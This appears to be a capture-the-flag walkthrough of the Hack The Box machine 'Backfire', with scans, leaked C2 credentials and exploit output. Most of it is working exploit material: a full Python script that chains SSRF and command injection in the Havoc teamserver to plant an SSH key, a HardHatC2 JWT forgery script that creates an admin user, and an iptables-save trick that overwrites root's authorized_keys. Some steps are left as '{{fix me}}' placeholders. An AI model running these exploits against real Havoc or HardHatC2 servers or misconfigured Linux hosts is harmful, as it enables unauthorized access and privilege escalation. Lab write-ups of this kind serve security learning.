Enumeration
$ rustscan -a <IP> --ulimit 10000 -b 1500 -- -sV
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-`
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Port scanning: Making networking exciting since... whenever.
[~] Automatically increasing ulimit value to 10000.
Open <IP>:22
Open <IP>:443
Open <IP>:8000
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
443/tcp open ssl/http syn-ack ttl 63 nginx 1.22.1
8000/tcp open http syn-ack ttl 63 nginx 1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel- Add IP to
/etc/hostsbackfire.htb curlport8000to investigate webpage
$ curl backfire.htb:8000<html>
<head>
<title>Index of /</title>
</head>
<body>
<h1>Index of /</h1>
<hr />
<pre><a href="../">../</a>
<a href="disable_tls.patch">disable_tls.patch</a> 17-Dec-2024 11:31 1559
<a href="havoc.yaotl">havoc.yaotl</a> 17-Dec-2024 11:34 875
</pre>
<hr />
</body>
</html>- We can access these files
$ curl backfire.htb:8000/disable_tls.patch
Disable TLS for Websocket management port 40056, so I can prove that
sergej is not doing any work
Management port only allows local connections (we use ssh forwarding) so
this will not compromize our teamserver
diff --git a/client/src/Havoc/Connector.cc b/client/src/Havoc/Connector.cc
index abdf1b5..6be76fb 100644
a/teamserver/cmd/server/teamserver.go
+++ b/teamserver/cmd/server/teamserver.go
@@ -151,7 +151,7 @@ func (t *Teamserver) Start() {
}
// start the teamserver
- if err = t.Server.Engine.RunTLS(Host+":"+Port, certPath, keyPath); err != nil {
+ if err = t.Server.Engine.Run(Host+":"+Port); err != nil {
logger.Error("Failed to start websocket: " + err.Error())
}- Port
40056Havoc/havoc/Need to portfwd to access
$ curl backfire.htb:8000/havoc.yaotl
Teamserver {
Host = "127.0.0.1"
Port = 40056
Build {
Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc"
Nasm = "/usr/bin/nasm"
}
}
Operators {
user "ilya" {
Password = "CobaltStr1keSuckz!"
}
user "sergej" {
Password = "1w4nt2sw1tch2h4rdh4tc2"
}
}
Demon {
Sleep = 2
Jitter = 15
TrustXForwardedFor = false
Injection {
Spawn64 = "C:\\Windows\\System32\\notepad.exe"
Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
}
}
Listeners {
Http {
Name = "Demon Listener"
Hosts = [
"backfire.htb"
]
HostBind = "127.0.0.1"
PortBind = 8443
PortConn = 8443
HostRotation = "round-robin"
Secure = true
}
}Example
ilya:CobaltStr1keSuckz!sergej:1w4nt2sw1tch2h4rdh4tc2Havoc C2 SSRF PoC > Havoc Authenticated RCE
- SSRF Spoofs demon + opens websocket
- RCE Uses websocket + creds to execute commands
User
hackFire.py
- Assumes
/etc/hostsis correct
import os
import json
import random
import string
import binascii
import requests
import urllib3
import subprocess
from hashlib import sha3_256
from Crypto.Cipher import AES
from Crypto.Util import Counter
urllib3.disable_warnings()
requests.packages.urllib3.disable_warnings(
requests.packages.urllib3.exceptions.InsecureRequestWarning
)
TEAMSRV_URL = "https://backfire.htb"
HEADERS = {"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64)"}
C2_USER = "ilya"
C2_PASS_RAW = "CobaltStr1keSuckz!"
C2_PASS_HASH = sha3_256(C2_PASS_RAW.encode()).hexdigest()
MAGIC_COOKIE = b"\xde\xad\xbe\xef"
AES_KEY = b"\x00" * 32
AES_IV = b"\x00" * 16
AGENT_ID = random.randint(100000, 999999).to_bytes(4, "big")
HOSTNAME = b"DESKTOP-ASDF123"
USERNAME = b"Administrator"
DOMAIN_NAME = b"ECORP"
INTERNAL_IP = b"127.0.0.1"
PROCESS_NAME = "msedge.exe".encode("utf-16le")
PROCESS_ID = random.randint(1000, 5000).to_bytes(4, "big")
SOCK_ID = b"\x11\x11\x11\x11"
SOCK_IP = "127.0.0.1"
SOCK_PORT = 40056
SSH_KEYFILE = "key"
def log_info(message):
print(f"[INFO] {message}")
def log_error(message):
print(f"[ERROR] {message}")
def pad_key(k: bytes) -> bytes:
"""Ensures the AES key is exactly 32 bytes."""
return k + b"0" * (32 - len(k)) if len(k) < 32 else k
def aes_ctr_encrypt(k: bytes, iv: bytes, data: bytes) -> bytes:
ctr = Counter.new(128, initial_value=int(binascii.hexlify(iv), 16))
return AES.new(pad_key(k), AES.MODE_CTR, counter=ctr).encrypt(data)
def aes_ctr_decrypt(k: bytes, iv: bytes, data: bytes) -> bytes:
ctr = Counter.new(128, initial_value=int(binascii.hexlify(iv), 16))
return AES.new(pad_key(k), AES.MODE_CTR, counter=ctr).decrypt(data)
def i2b(v: int, length: int = 4) -> bytes:
"""Integer to big-endian bytes."""
return v.to_bytes(length, "big")
def post_data(packet: bytes) -> requests.Response:
"""Send a POST request to TEAMSRV_URL with the given packet."""
try:
r = requests.post(TEAMSRV_URL, data=packet, headers=HEADERS, verify=False)
return r
except requests.RequestException as e:
log_error(f"POST request failed: {e}")
class DummyResponse:
status_code = 0
content = b""
return DummyResponse()
def create_ssh_key() -> str:
"""Generate an SSH key if it doesn't exist, return public key contents."""
if not os.path.exists(SSH_KEYFILE):
log_info("Generating SSH key...")
cmd = ["ssh-keygen", "-t", "ed25519", "-C", SSH_KEYFILE, "-f", SSH_KEYFILE, "-q", "-N", ""]
try:
subprocess.run(cmd, check=True)
os.chmod(SSH_KEYFILE, 0o600)
except (subprocess.CalledProcessError, FileNotFoundError) as e:
log_error(f"SSH key generation failed: {e}")
return ""
pubfile = SSH_KEYFILE + ".pub"
if os.path.exists(pubfile):
return open(pubfile, "r").read().strip()
return ""
def build_websocket_frame(msg: str) -> bytes:
"""Build a masked WebSocket frame for the given message."""
payload = msg.encode("utf-8")
first_byte = 0x81 # text frame
mask_bit = 0x80
length = len(payload)
# Encode the payload length
if length <= 125:
header = bytes([first_byte, mask_bit | length])
elif length <= 65535:
header = bytes([first_byte, mask_bit | 126]) + length.to_bytes(2, "big")
else:
header = bytes([first_byte, mask_bit | 127]) + length.to_bytes(8, "big")
# Random mask
mask = os.urandom(4)
masked_payload = bytes(b ^ mask[i % 4] for i, b in enumerate(payload))
return header + mask + masked_payload
def send_packet(cmd: bytes, rid: bytes, body: bytes, desc: str, encrypt=True) -> None:
"""
Construct a packet with optional AES-CTR encryption and send it.
Logs success/fail status for the given desc.
"""
if encrypt:
# Encrypt length + body
enc = aes_ctr_encrypt(AES_KEY, AES_IV, i2b(len(body) + 4) + body)
pkt = i2b(12 + len(enc)) + MAGIC_COOKIE + AGENT_ID + cmd + rid + enc
else:
pkt = i2b(12 + len(body)) + MAGIC_COOKIE + AGENT_ID + body
r = post_data(pkt)
if r.status_code == 200:
log_info(f"{desc} => OK")
else:
log_error(f"{desc} => FAIL ({r.status_code})")
def step_register_agent():
log_info("Registering agent...")
cmd_id = b"\x00\x00\x00\x63"
req_id = b"\x00\x00\x00\x01"
extra = b"\xab" * 100
body = (
cmd_id
+ req_id
+ AES_KEY
+ AES_IV
+ AGENT_ID
+ i2b(len(HOSTNAME))
+ HOSTNAME
+ i2b(len(USERNAME))
+ USERNAME
+ i2b(len(DOMAIN_NAME))
+ DOMAIN_NAME
+ i2b(len(INTERNAL_IP))
+ INTERNAL_IP
+ i2b(len(PROCESS_NAME) - 6)
+ PROCESS_NAME
+ PROCESS_ID
+ extra
)
send_packet(b"", b"", body, "Register Agent", encrypt=False)
def step_open_socket():
log_info("Opening socket on the teamserver...")
cmd = b"\x00\x00\x09\xec"
rid = b"\x00\x00\x00\x02"
sub = b"\x00\x00\x00\x10"
la = b"\x22\x22\x22\x22"
lp = b"\x33\x33\x33\x33"
rev_ip = b"".join(int(x).to_bytes(1, "big") for x in SOCK_IP.split(".")[::-1])
fwd_port = i2b(SOCK_PORT)
body = sub + SOCK_ID + la + lp + rev_ip + fwd_port
send_packet(cmd, rid, body, "Open Socket")
def step_write_socket(
data_bytes: bytes, desc: str, subcmd: bytes = b"\x00\x00\x00\x11"
):
"""
Write data to the socket. You can customize subcmd if needed.
"""
cmd = b"\x00\x00\x09\xec"
rid = b"\x00\x00\x00\x08"
st = b"\x00\x00\x00\x03"
scs = b"\x00\x00\x00\x01"
body = subcmd + SOCK_ID + st + scs + i2b(len(data_bytes)) + data_bytes
send_packet(cmd, rid, body, desc)
def step_read_socket() -> bytes:
"""Read data from the socket, decrypt, and return it."""
log_info("Reading response from socket...")
cmd = b"\x00\x00\x00\x01"
rid = b"\x00\x00\x00\x09"
pkt = i2b(12 + len(cmd + rid)) + MAGIC_COOKIE + AGENT_ID + cmd + rid
r = post_data(pkt)
if r.status_code != 200:
log_error(f"Read from Socket => FAIL ({r.status_code})")
return b""
log_info("Read from Socket => OK")
print(
"""\033[1;31m
_______ __ __ ___ _____ ___ _______ ________
| __ "\ |" |/ \| "|(\" \|" \ /" "||" "\
(. |__) :)|' / \: ||.\\ \ |(: ______)(. ___ :)
|: ____/ |: /' ||: \. \\ | \/ | |: \ ) ||
(| / \// /\' ||. \ \. | // ___)_ (| (___\ ||
/|__/ \ / / \\ || \ \ |(: "||: :)
(_______) |___/ \___| \___|\____\) \_______)(________/ \033[0m"""
)
dec = aes_ctr_decrypt(AES_KEY, AES_IV, r.content[12:])
return dec[12:]
ssh_pub = create_ssh_key()
if not ssh_pub:
log_error("No SSH public key found or could not be generated.")
raise SystemExit
step_register_agent()
step_open_socket()
handshake_req = (
b"GET /havoc/ HTTP/1.1\r\n"
b"Host: 127.0.0.1:40056\r\n"
b"Upgrade: websocket\r\n"
b"Sec-WebSocket-Key: h/TPDav2VwnJVqKeDYxRgQ==\r\n"
b"Sec-WebSocket-Version: 13\r\n"
b"Connection: Upgrade\r\n\r\n"
)
step_write_socket(handshake_req, "WebSocket Handshake")
auth_payload = {
"Body": {"Info": {"Password": C2_PASS_HASH, "User": C2_USER}, "SubEvent": 3},
"Head": {"Event": 1, "OneTime": "", "Time": "18:40:17", "User": C2_USER},
}
step_write_socket(build_websocket_frame(json.dumps(auth_payload)), "Authenticate C2")
rnd_listener = "".join(
random.choice(string.ascii_lowercase + string.digits) for _ in range(16)
)
rnd_port = random.randint(1024, 65535)
listener_info = {
"Body": {
"Info": {
"Headers": "",
"HostBind": "0.0.0.0",
"HostHeader": "",
"HostRotation": "round-robin",
"Hosts": "0.0.0.0",
"Name": rnd_listener,
"PortBind": str(rnd_port),
"PortConn": str(rnd_port),
"Protocol": "Https",
"Proxy Enabled": "false",
"Secure": "true",
"Status": "online",
"Uris": "",
"UserAgent": "Mozilla/5.0 (Windows NT 6.1; WOW64)",
},
"SubEvent": 1,
},
"Head": {"Event": 2, "OneTime": "", "Time": "00:00:00", "User": C2_USER},
}
step_write_socket(build_websocket_frame(json.dumps(listener_info)), "Create Listener")
cmd_injection = (
"mkdir -p /home/ilya/.ssh && "
f"echo '{ssh_pub}' >> /home/ilya/.ssh/authorized_keys && "
"chmod 700 /home/ilya/.ssh && chmod 600 /home/ilya/.ssh/authorized_keys"
)
injection_svc = f' \\\\\\" -mbla; {cmd_injection} && false #'
final_json = {
"Body": {
"Info": {
"AgentType": "Demon",
"Arch": "x64",
"Listener": rnd_listener,
"Config": (
"{\n"
' "Amsi/Etw Patch": "None",\n'
' "Indirect Syscall": false,\n'
' "Injection": {\n'
' "Alloc": "Native/Syscall",\n'
' "Execute": "Native/Syscall",\n'
' "Spawn32": "C:\\\\Windows\\\\SysWOW64\\\\notepad.exe",\n'
' "Spawn64": "C:\\\\Windows\\\\System32\\\\notepad.exe"\n'
" },\n"
' "Jitter": "0",\n'
' "Proxy Loading": "None (LdrLoadDll)",\n'
f' "Service Name":"{injection_svc}",\n'
' "Sleep": "2",\n'
' "Sleep Jmp Gadget": "None",\n'
' "Sleep Technique": "WaitForSingleObjectEx",\n'
' "Stack Duplication": false\n'
"}"
),
"Format": "Windows Service Exe",
},
"SubEvent": 2,
},
"Head": {"Event": 5, "OneTime": "true", "Time": "18:39:04", "User": C2_USER},
}
step_write_socket(build_websocket_frame(json.dumps(final_json)), "Inject SSH Key")
resp = step_read_socket()
if resp:
log_info("[Teamserver Final Response]\n" + resp.decode("utf-8", errors="ignore"))
print("\033[1;32m\n~~~~~Exploit complete!~~~~~\033[0m")
print("You can now SSH into the target via:")
print(f"\033[1;93mssh -i {SSH_KEYFILE} ilya@backfire.htb\033[0m")- Run script
$ python3 hackFire.py
$ ssh -i key ilya@backfire.htb
ilya@backfire:~$ ls
files hardhat.txt Havoc user.txt
ilya@backfire:~$ cat user.txt
ab200807a76e4cd3aee4b388ae0b34acRoot
ilya@backfire:~$ cat hardhat.txt
Sergej said he installed HardHatC2 for testing and not made any changes to the defaults
I hope he prefers Havoc bcoz I don`t wanna learn another C2 framework, also Go > C#Information
Sergejleft HardHatC2 with default configHardHatC2 Github → Ports 5000 & 7096
- Confirm ports are open
ilya@backfire:~$ netstat -ano
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State Timer
tcp 0 0 0.0.0.0:8000 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:40056 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:5000 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:7096 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:8443 0.0.0.0:* LISTEN off (0.00/0/0)- “Management port only allows local connections (we use ssh forwarding) so this will not compromize our teamserver”
- Use SSH to portfwd ports so we can access
$ ssh -i key -L 5000:localhost:5000 -L 7096:localhost:7096 ilya@backfire.htb- Visit https://127.0.0.1:7096/
Note
sergejcreds did not work Googled RCE/PoC/Exploit/etcVULN 2 = Hardcoded JWT abuse Add User w/ Admin privs VULN 3 = Terminal available in HardHatC2
bypass.py
- Updated
rhostfor our needs
# @author Siam Thanat Hack Co., Ltd. (STH)
import jwt
import datetime
import uuid
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
rhost = "localhost:5000" # needed to change this
# Craft Admin JWT
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"
issuer = "hardhatc2.com"
now = datetime.datetime.utcnow()
expiration = now + datetime.timedelta(days=28)
payload = {
"sub": "HardHat_Admin",
"jti": str(uuid.uuid4()),
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",
"iss": issuer,
"aud": issuer,
"iat": int(now.timestamp()),
"exp": int(expiration.timestamp()),
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator",
}
token = jwt.encode(payload, secret, algorithm="HS256")
print("Generated JWT:")
print(token)
# Use Admin JWT to create a new user 'asdf' as TeamLead
burp0_url = f"https://{rhost}/Login/Register"
burp0_headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
burp0_json = {"password": "sth_pentest", "role": "TeamLead", "username": "sth_pentest"}
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)
print(r.text)- Execute
$ python3 bypass.py
Generated JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJIYXJkSGF0X0FkbWluIiwianRpIjoiMmViNzk5MGEtYzFjNi00ZWJhLWI4YmYtMzI4OWM4M2Y5NTI3IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvbmFtZWlkZW50aWZpZXIiOiIxIiwiaXNzIjoiaGFyZGhhdGMyLmNvbSIsImF1ZCI6ImhhcmRoYXRjMi5jb20iLCJpYXQiOjE3Mzc0NzU4MDAsImV4cCI6MTczOTg5NTAwMCwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjoiQWRtaW5pc3RyYXRvciJ9.S0XbrtnAXMCxnlthB0W8Tb_Ts9pnI5EK1_NRdqZIOr0
/usr/lib/python3/dist-packages/urllib3/connectionpool.py:1053: InsecureRequestWarning: Unverified HTTPS request is being made to host 'localhost'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/1.26.x/advanced-usage.html#ssl-warnings
warnings.warn(
User sth_pentest created- Login via
sth_pentest:sth_pentest - Access terminal
{{fix me}}
- Check what user terminal runs as
{{fix me}}
- Might as well add SSH key here
- Copy
key.pubfrom attacking machine
$ cat key.pub
ssh-ed25519 *your_key* key- Send through terminal
mkdir -p /home/sergej/.ssh; echo "ssh-ed25519 *your_key* key
" >> /home/sergej/.ssh/authorized_keys- SSH as
sergejsudo -l
$ ssh -i key sergej@backfire.htb
sergej@backfire:~$ sudo -l
Matching Defaults entries for sergej on backfire:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User sergej may run the following commands on backfire:
(root) NOPASSWD: /usr/sbin/iptables
(root) NOPASSWD: /usr/sbin/iptables-saveiptables & iptables-save
- Following article
sergej@backfire:~$ sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\nssh-ed25519 *your_key* key\n'
sergej@backfire:~$ sudo iptables -S
-P INPUT ACCEPT
-P FORWARD ACCEPT
-P OUTPUT ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 5000 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 7096 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -i lo -m comment --comment "ssh-ed25519 *your_key* key" -j ACCEPT
sergej@backfire:~$ sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keys- SSH root win
$ ssh -i key root@backfire.htb
root@backfire:~$ ls
root.txt
root@backfire:~$ cat root.txt